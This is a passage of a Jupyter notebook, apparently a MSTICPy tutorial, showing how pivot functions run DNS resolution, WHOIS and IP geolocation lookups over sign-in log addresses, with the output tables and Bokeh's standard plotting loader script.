    "<div style=\"border: solid; padding:5pt\"><b>Note:</b>\r\n",
    "You may see a warning/error about not being able to load the IPStack\r\n",
    "geo-ip provider. You can safely ignore this.\r\n",
    "</div>\r\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 31,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "This product includes GeoLite2 data created by MaxMind, available from\n",
       "<a href=\"https://www.maxmind.com\">https://www.maxmind.com</a>.\n"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "This library uses services provided by ipstack.\n",
       "<a href=\"https://ipstack.com\">https://ipstack.com</a>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "import warnings\r\n",
    "from msticpy.datamodel.entities import *\r\n",
    "\r\n",
    "with warnings.catch_warnings():\r\n",
    "    warnings.simplefilter(\"ignore\")\r\n",
    "    pivot = Pivot(namespace=globals())"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Use the pivot browser to see what functions are available for different entities.\n",
    "\n",
    "The **Help** drop-down panels show you more detail about the selected\n",
    "function.\n",
    "\n",
    "<div style=\"border: solid; padding: 5pt\"><b>Notes:</b><br>\n",
    "1. If you are using Local data (rather than data from Azure Sentinel)\n",
    "you will see fewer entities and pivot functions in the browser.\n",
    "This is because a lot of the pivot functions are data queries and\n",
    "the local data provider that we are using only has a limited number\n",
    "of queries defined.<br><br>\n",
    "2. The function-specific help shows the parameters and usage for the original function<br>\n",
    "that is wrapped by the Pivot interface. Use the parameter guidance in the generic\n",
    "help when calling pivot functions.\n",
    "</div>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 32,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.jupyter.widget-view+json": {
       "model_id": "0f6ab5c8ccf7439b9edc000b30481e68",
       "version_major": 2,
       "version_minor": 0
      },
      "text/plain": [
       "VBox(children=(HBox(children=(VBox(children=(HTML(value='<b>Entities</b>'), Select(description='entity', layou…"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "pivot.browse()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "You can pass a single value to a pivot function.\n",
    "\n",
    "The result is returned as a pandas DataFrame.\n",
    "\n",
    "Here are five examples with the output shown below."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 33,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'Dns resolution'"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>qname</th>\n",
       "      <th>rdtype</th>\n",
       "      <th>rdclass</th>\n",
       "      <th>response</th>\n",
       "      <th>nameserver</th>\n",
       "      <th>port</th>\n",
       "      <th>canonical_name</th>\n",
       "      <th>rrset</th>\n",
       "      <th>expiration</th>\n",
       "      <th>url_domain</th>\n",
       "      <th>src_row_index</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>www.microsoft.com.</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>id 32410\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nwww.microsoft.com. IN A\\n;ANSW...</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>e13678.dscb.akamaiedge.net.</td>\n",
       "      <td>[23.218.110.52]</td>\n",
       "      <td>2021-06-28 21:58:32.828779</td>\n",
       "      <td>www.microsoft.com</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                qname rdtype rdclass  \\\n",
       "0  www.microsoft.com.      1       1   \n",
       "\n",
       "                                                                                              response  \\\n",
       "0  id 32410\\nopcode QUERY\\nrcode NOERROR\\nflags QR RD RA\\n;QUESTION\\nwww.microsoft.com. IN A\\n;ANSW...   \n",
       "\n",
       "  nameserver  port               canonical_name            rrset  \\\n",
       "0       None  None  e13678.dscb.akamaiedge.net.  [23.218.110.52]   \n",
       "\n",
       "                  expiration         url_domain  src_row_index  \n",
       "0 2021-06-28 21:58:32.828779  www.microsoft.com              0  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/plain": [
       "'Dns components'"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>subdomain</th>\n",
       "      <th>domain</th>\n",
       "      <th>suffix</th>\n",
       "      <th>src_row_index</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>www</td>\n",
       "      <td>www.microsoft.com</td>\n",
       "      <td>com</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "  subdomain             domain suffix  src_row_index\n",
       "0       www  www.microsoft.com    com              0"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/plain": [
       "'IP address type'"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>ip</th>\n",
       "      <th>result</th>\n",
       "      <th>src_row_index</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>24.16.133.227</td>\n",
       "      <td>Public</td>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "              ip  result  src_row_index\n",
       "0  24.16.133.227  Public              0"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/plain": [
       "'IP address ownership'"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>asn</th>\n",
       "      <th>asn_cidr</th>\n",
       "      <th>asn_country_code</th>\n",
       "      <th>asn_date</th>\n",
       "      <th>asn_description</th>\n",
       "      <th>asn_registry</th>\n",
       "      <th>nets</th>\n",
       "      <th>nir</th>\n",
       "      <th>query</th>\n",
       "      <th>raw</th>\n",
       "      <th>raw_referral</th>\n",
       "      <th>referral</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>7922</td>\n",
       "      <td>24.16.0.0/13</td>\n",
       "      <td>US</td>\n",
       "      <td>2003-10-06</td>\n",
       "      <td>COMCAST-7922, US</td>\n",
       "      <td>arin</td>\n",
       "      <td>[{'cidr': '24.0.0.0/12, 24.16.0.0/13', 'name': 'EASTERNSHORE-1', 'handle': 'NET-24-0-0-0-1', 'ra...</td>\n",
       "      <td>None</td>\n",
       "      <td>24.16.133.227</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "    asn      asn_cidr asn_country_code    asn_date   asn_description  \\\n",
       "0  7922  24.16.0.0/13               US  2003-10-06  COMCAST-7922, US   \n",
       "\n",
       "  asn_registry  \\\n",
       "0         arin   \n",
       "\n",
       "                                                                                                  nets  \\\n",
       "0  [{'cidr': '24.0.0.0/12, 24.16.0.0/13', 'name': 'EASTERNSHORE-1', 'handle': 'NET-24-0-0-0-1', 'ra...   \n",
       "\n",
       "    nir          query   raw raw_referral referral  \n",
       "0  None  24.16.133.227  None         None     None  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/plain": [
       "'IP address location'"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>CountryCode</th>\n",
       "      <th>CountryName</th>\n",
       "      <th>State</th>\n",
       "      <th>City</th>\n",
       "      <th>Longitude</th>\n",
       "      <th>Latitude</th>\n",
       "      <th>Asn</th>\n",
       "      <th>edges</th>\n",
       "      <th>Type</th>\n",
       "      <th>AdditionalData</th>\n",
       "      <th>IpAddress</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>US</td>\n",
       "      <td>United States</td>\n",
       "      <td>Washington</td>\n",
       "      <td>Bellevue</td>\n",
       "      <td>-122.2053</td>\n",
       "      <td>47.6131</td>\n",
       "      <td>None</td>\n",
       "      <td>{}</td>\n",
       "      <td>geolocation</td>\n",
       "      <td>{}</td>\n",
       "      <td>24.16.133.227</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "  CountryCode    CountryName       State      City  Longitude  Latitude   Asn  \\\n",
       "0          US  United States  Washington  Bellevue  -122.2053   47.6131  None   \n",
       "\n",
       "  edges         Type AdditionalData      IpAddress  \n",
       "0    {}  geolocation             {}  24.16.133.227  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "from IPython.display import HTML\r\n",
    "\r\n",
    "display(HTML(\"Dns resolution<br>\"))\r\n",
    "display(Dns.dns_resolve(\"www.microsoft.com\"))\r\n",
    "\r\n",
    "display(HTML(\"<br>Dns components<br>\"))\r\n",
    "display(Dns.util.dns_components(\"www.microsoft.com\"))\r\n",
    "\r\n",
    "display(HTML(\"<br>IP address type<br>\"))\r\n",
    "display(IpAddress.ip_type(\"24.16.133.227\"))\r\n",
    "\r\n",
    "display(HTML(\"<br>IP address ownership<br>\"))\r\n",
    "display(IpAddress.whois(\"24.16.133.227\"))\r\n",
    "\r\n",
    "display(HTML(\"<br>IP address location<br>\"))\r\n",
    "display(IpAddress.geoloc(\"24.16.133.227\"))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "You can also pass a DataFrame as a parameter. You also need to provide the column name\r\n",
    "that contains the data that you want to process."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 34,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>nir</th>\n",
       "      <th>asn_registry</th>\n",
       "      <th>asn</th>\n",
       "      <th>asn_cidr</th>\n",
       "      <th>asn_country_code</th>\n",
       "      <th>asn_date</th>\n",
       "      <th>asn_description</th>\n",
       "      <th>query</th>\n",
       "      <th>nets</th>\n",
       "      <th>raw</th>\n",
       "      <th>referral</th>\n",
       "      <th>raw_referral</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>None</td>\n",
       "      <td>arin</td>\n",
       "      <td>8075</td>\n",
       "      <td>40.76.0.0/14</td>\n",
       "      <td>US</td>\n",
       "      <td>2015-02-23</td>\n",
       "      <td>MICROSOFT-CORP-MSN-AS-BLOCK, US</td>\n",
       "      <td>40.76.220.11</td>\n",
       "      <td>[{'cidr': '40.80.0.0/12, 40.120.0.0/14, 40.76.0.0/14, 40.112.0.0/13, 40.74.0.0/15, 40.124.0.0/16...</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>None</td>\n",
       "      <td>ripencc</td>\n",
       "      <td>3216</td>\n",
       "      <td>81.211.96.0/19</td>\n",
       "      <td>RU</td>\n",
       "      <td>2002-11-04</td>\n",
       "      <td>SOVAM-AS, RU</td>\n",
       "      <td>81.211.111.100</td>\n",
       "      <td>[{'cidr': '81.211.111.96/27', 'name': 'SOVINTEL-GlobusAvia', 'handle': 'BN891-RIPE', 'range': '8...</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>None</td>\n",
       "      <td>ripencc</td>\n",
       "      <td>12400</td>\n",
       "      <td>87.71.160.0/19</td>\n",
       "      <td>IL</td>\n",
       "      <td>2005-06-30</td>\n",
       "      <td>PARTNER-AS, IL</td>\n",
       "      <td>87.71.180.127</td>\n",
       "      <td>[{'cidr': '87.71.176.0/21', 'name': 'DHCP-121-OD', 'handle': 'DR5299-RIPE', 'range': '87.71.176....</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>5</th>\n",
       "      <td>None</td>\n",
       "      <td>ripencc</td>\n",
       "      <td>15557</td>\n",
       "      <td>89.156.0.0/14</td>\n",
       "      <td>FR</td>\n",
       "      <td>2006-04-11</td>\n",
       "      <td>LDCOMNET, FR</td>\n",
       "      <td>89.159.53.43</td>\n",
       "      <td>[{'cidr': '89.156.0.0/14', 'name': 'FR-SFR-20050726', 'handle': 'LD699-RIPE', 'range': '89.156.0...</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>6</th>\n",
       "      <td>None</td>\n",
       "      <td>ripencc</td>\n",
       "      <td>12849</td>\n",
       "      <td>5.29.48.0/21</td>\n",
       "      <td>IL</td>\n",
       "      <td>2012-05-08</td>\n",
       "      <td>HOTNET-IL AMS-IX Admin LAN, IL</td>\n",
       "      <td>5.29.52.252</td>\n",
       "      <td>[{'cidr': '5.29.48.0/21', 'name': 'HOTNET-4', 'handle': 'AL8020-RIPE', 'range': '5.29.48.0 - 5.2...</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "    nir asn_registry    asn        asn_cidr asn_country_code    asn_date  \\\n",
       "0  None         arin   8075    40.76.0.0/14               US  2015-02-23   \n",
       "2  None      ripencc   3216  81.211.96.0/19               RU  2002-11-04   \n",
       "3  None      ripencc  12400  87.71.160.0/19               IL  2005-06-30   \n",
       "5  None      ripencc  15557   89.156.0.0/14               FR  2006-04-11   \n",
       "6  None      ripencc  12849    5.29.48.0/21               IL  2012-05-08   \n",
       "\n",
       "                   asn_description           query  \\\n",
       "0  MICROSOFT-CORP-MSN-AS-BLOCK, US    40.76.220.11   \n",
       "2                     SOVAM-AS, RU  81.211.111.100   \n",
       "3                   PARTNER-AS, IL   87.71.180.127   \n",
       "5                     LDCOMNET, FR    89.159.53.43   \n",
       "6   HOTNET-IL AMS-IX Admin LAN, IL     5.29.52.252   \n",
       "\n",
       "                                                                                                  nets  \\\n",
       "0  [{'cidr': '40.80.0.0/12, 40.120.0.0/14, 40.76.0.0/14, 40.112.0.0/13, 40.74.0.0/15, 40.124.0.0/16...   \n",
       "2  [{'cidr': '81.211.111.96/27', 'name': 'SOVINTEL-GlobusAvia', 'handle': 'BN891-RIPE', 'range': '8...   \n",
       "3  [{'cidr': '87.71.176.0/21', 'name': 'DHCP-121-OD', 'handle': 'DR5299-RIPE', 'range': '87.71.176....   \n",
       "5  [{'cidr': '89.156.0.0/14', 'name': 'FR-SFR-20050726', 'handle': 'LD699-RIPE', 'range': '89.156.0...   \n",
       "6  [{'cidr': '5.29.48.0/21', 'name': 'HOTNET-4', 'handle': 'AL8020-RIPE', 'range': '5.29.48.0 - 5.2...   \n",
       "\n",
       "    raw referral raw_referral  \n",
       "0  None     None         None  \n",
       "2  None     None         None  \n",
       "3  None     None         None  \n",
       "5  None     None         None  \n",
       "6  None     None         None  "
      ]
     },
     "execution_count": 34,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "logons_subset = logons_df.drop_duplicates(\"IPAddress\").head()\r\n",
    "\r\n",
    "IpAddress.whois(logons_subset, column=\"IPAddress\")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "When using a DataFrame as input, you can also join the output data to the input data."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 35,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
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       "\n",
       "    .dataframe tbody tr th {\n",
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       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>IPAddress</th>\n",
       "      <th>AppDisplayName</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>nir</th>\n",
       "      <th>asn_registry</th>\n",
       "      <th>asn</th>\n",
       "      <th>asn_cidr</th>\n",
       "      <th>asn_country_code</th>\n",
       "      <th>asn_date</th>\n",
       "      <th>asn_description</th>\n",
       "      <th>query</th>\n",
       "      <th>nets</th>\n",
       "      <th>raw</th>\n",
       "      <th>referral</th>\n",
       "      <th>raw_referral</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>40.76.220.11</td>\n",
       "      <td>Microsoft Azure Active Directory Connect</td>\n",
       "      <td>2021-06-28 10:55:21.648000+00:00</td>\n",
       "      <td>None</td>\n",
       "      <td>arin</td>\n",
       "      <td>8075</td>\n",
       "      <td>40.76.0.0/14</td>\n",
       "      <td>US</td>\n",
       "      <td>2015-02-23</td>\n",
       "      <td>MICROSOFT-CORP-MSN-AS-BLOCK, US</td>\n",
       "      <td>40.76.220.11</td>\n",
       "      <td>[{'cidr': '40.80.0.0/12, 40.120.0.0/14, 40.76.0.0/14, 40.112.0.0/13, 40.74.0.0/15, 40.124.0.0/16...</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>81.211.111.100</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>2021-06-28 11:36:15.896000+00:00</td>\n",
       "      <td>None</td>\n",
       "      <td>ripencc</td>\n",
       "      <td>3216</td>\n",
       "      <td>81.211.96.0/19</td>\n",
       "      <td>RU</td>\n",
       "      <td>2002-11-04</td>\n",
       "      <td>SOVAM-AS, RU</td>\n",
       "      <td>81.211.111.100</td>\n",
       "      <td>[{'cidr': '81.211.111.96/27', 'name': 'SOVINTEL-GlobusAvia', 'handle': 'BN891-RIPE', 'range': '8...</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>87.71.180.127</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>2021-06-28 12:24:50.274000+00:00</td>\n",
       "      <td>None</td>\n",
       "      <td>ripencc</td>\n",
       "      <td>12400</td>\n",
       "      <td>87.71.160.0/19</td>\n",
       "      <td>IL</td>\n",
       "      <td>2005-06-30</td>\n",
       "      <td>PARTNER-AS, IL</td>\n",
       "      <td>87.71.180.127</td>\n",
       "      <td>[{'cidr': '87.71.176.0/21', 'name': 'DHCP-121-OD', 'handle': 'DR5299-RIPE', 'range': '87.71.176....</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>89.159.53.43</td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>2021-06-28 12:24:40.501000+00:00</td>\n",
       "      <td>None</td>\n",
       "      <td>ripencc</td>\n",
       "      <td>15557</td>\n",
       "      <td>89.156.0.0/14</td>\n",
       "      <td>FR</td>\n",
       "      <td>2006-04-11</td>\n",
       "      <td>LDCOMNET, FR</td>\n",
       "      <td>89.159.53.43</td>\n",
       "      <td>[{'cidr': '89.156.0.0/14', 'name': 'FR-SFR-20050726', 'handle': 'LD699-RIPE', 'range': '89.156.0...</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>5.29.52.252</td>\n",
       "      <td>Azure Advanced Threat Protection</td>\n",
       "      <td>2021-06-28 12:36:12.329000+00:00</td>\n",
       "      <td>None</td>\n",
       "      <td>ripencc</td>\n",
       "      <td>12849</td>\n",
       "      <td>5.29.48.0/21</td>\n",
       "      <td>IL</td>\n",
       "      <td>2012-05-08</td>\n",
       "      <td>HOTNET-IL AMS-IX Admin LAN, IL</td>\n",
       "      <td>5.29.52.252</td>\n",
       "      <td>[{'cidr': '5.29.48.0/21', 'name': 'HOTNET-4', 'handle': 'AL8020-RIPE', 'range': '5.29.48.0 - 5.2...</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "        IPAddress                            AppDisplayName  \\\n",
       "0    40.76.220.11  Microsoft Azure Active Directory Connect   \n",
       "1  81.211.111.100                              Azure Portal   \n",
       "2   87.71.180.127                              Azure Portal   \n",
       "3    89.159.53.43                              Azure Portal   \n",
       "4     5.29.52.252          Azure Advanced Threat Protection   \n",
       "\n",
       "                     TimeGenerated   nir asn_registry    asn        asn_cidr  \\\n",
       "0 2021-06-28 10:55:21.648000+00:00  None         arin   8075    40.76.0.0/14   \n",
       "1 2021-06-28 11:36:15.896000+00:00  None      ripencc   3216  81.211.96.0/19   \n",
       "2 2021-06-28 12:24:50.274000+00:00  None      ripencc  12400  87.71.160.0/19   \n",
       "3 2021-06-28 12:24:40.501000+00:00  None      ripencc  15557   89.156.0.0/14   \n",
       "4 2021-06-28 12:36:12.329000+00:00  None      ripencc  12849    5.29.48.0/21   \n",
       "\n",
       "  asn_country_code    asn_date                  asn_description  \\\n",
       "0               US  2015-02-23  MICROSOFT-CORP-MSN-AS-BLOCK, US   \n",
       "1               RU  2002-11-04                     SOVAM-AS, RU   \n",
       "2               IL  2005-06-30                   PARTNER-AS, IL   \n",
       "3               FR  2006-04-11                     LDCOMNET, FR   \n",
       "4               IL  2012-05-08   HOTNET-IL AMS-IX Admin LAN, IL   \n",
       "\n",
       "            query  \\\n",
       "0    40.76.220.11   \n",
       "1  81.211.111.100   \n",
       "2   87.71.180.127   \n",
       "3    89.159.53.43   \n",
       "4     5.29.52.252   \n",
       "\n",
       "                                                                                                  nets  \\\n",
       "0  [{'cidr': '40.80.0.0/12, 40.120.0.0/14, 40.76.0.0/14, 40.112.0.0/13, 40.74.0.0/15, 40.124.0.0/16...   \n",
       "1  [{'cidr': '81.211.111.96/27', 'name': 'SOVINTEL-GlobusAvia', 'handle': 'BN891-RIPE', 'range': '8...   \n",
       "2  [{'cidr': '87.71.176.0/21', 'name': 'DHCP-121-OD', 'handle': 'DR5299-RIPE', 'range': '87.71.176....   \n",
       "3  [{'cidr': '89.156.0.0/14', 'name': 'FR-SFR-20050726', 'handle': 'LD699-RIPE', 'range': '89.156.0...   \n",
       "4  [{'cidr': '5.29.48.0/21', 'name': 'HOTNET-4', 'handle': 'AL8020-RIPE', 'range': '5.29.48.0 - 5.2...   \n",
       "\n",
       "    raw referral raw_referral  \n",
       "0  None     None         None  \n",
       "1  None     None         None  \n",
       "2  None     None         None  \n",
       "3  None     None         None  \n",
       "4  None     None         None  "
      ]
     },
     "execution_count": 35,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "IpAddress.whois(logons_subset[[\"IPAddress\", \"AppDisplayName\", \"TimeGenerated\"]], column=\"IPAddress\", join=\"left\")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "And because pivot functions always return DataFrames,\n",
    "you can easily use the output as input to MSTICPy functions.\n",
    "\n",
    "The first example shows sending the results from the WhoIs pivot function to a timeline plot."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 36,
   "metadata": {},
   "outputs": [
    {
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       "\n",
       "  var NB_LOAD_WARNING = {'data': {'text/html':\n",
       "     \"<div style='background-color: #fdd'>\\n\"+\n",
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       "     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
       "     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
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       "     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n",
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       "     \"<code>\\n\"+\n",
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       "\n",
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       "\n",
       "    for (let i = 0; i < css_urls.length; i++) {\n",
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       "      element.onload = on_load;\n",
       "      element.onerror = on_error.bind(null, url);\n",
       "      element.rel = \"stylesheet\";\n",
       "      element.type = \"text/css\";\n",
       "      element.href = url;\n",
       "      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n",
       "      document.body.appendChild(element);\n",
       "    }\n",
       "\n",
       "    const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.3.2.min.js\": \"XypntL49z55iwGVUW4qsEu83zKL3XEcz0MjuGOQ9SlaaQ68X/g+k1FcioZi7oQAc\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.3.2.min.js\": \"bEsM86IHGDTLCS0Zod8a8WM6Y4+lafAL/eSiyQcuPzinmWNgNO2/olUF0Z2Dkn5i\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.3.2.min.js\": \"TX0gSQTdXTTeScqxj6PVQxTiRW8DOoGVwinyi1D3kxv7wuxQ02XkOxv0xwiypcAH\"};\n",
       "\n",
       "    for (let i = 0; i < js_urls.length; i++) {\n",
       "      const url = js_urls[i];\n",
       "      const element = document.createElement('script');\n",
       "      element.onload = on_load;\n",
       "      element.onerror = on_error.bind(null, url);\n",
       "      element.async = false;\n",
       "      element.src = url;\n",
       "      if (url in hashes) {\n",
       "        element.crossOrigin = \"anonymous\";\n",
       "        element.integrity = \"sha384-\" + hashes[url];\n",
       "      }\n",
       "      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
       "      document.head.appendChild(element);\n",
       "    }\n",
       "  };\n",
       "\n",
       "  function inject_raw_css(css) {\n",
       "    const element = document.createElement(\"style\");\n",
       "    element.appendChild(document.createTextNode(css));\n",
       "    document.body.appendChild(element);\n",
       "  }\n",
       "\n",
       "  \n",
       "  var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.3.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.3.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.3.2.min.js\"];\n",
       "  var css_urls = [];\n",
       "  \n",
       "\n",
       "  var inline_js = [\n",
       "    function(Bokeh) {\n",
       "      Bokeh.set_log_level(\"info\");\n",
       "    },\n",
       "    function(Bokeh) {\n",
       "    \n",
       "    \n",
       "    }\n",
       "  ];\n",
       "\n",
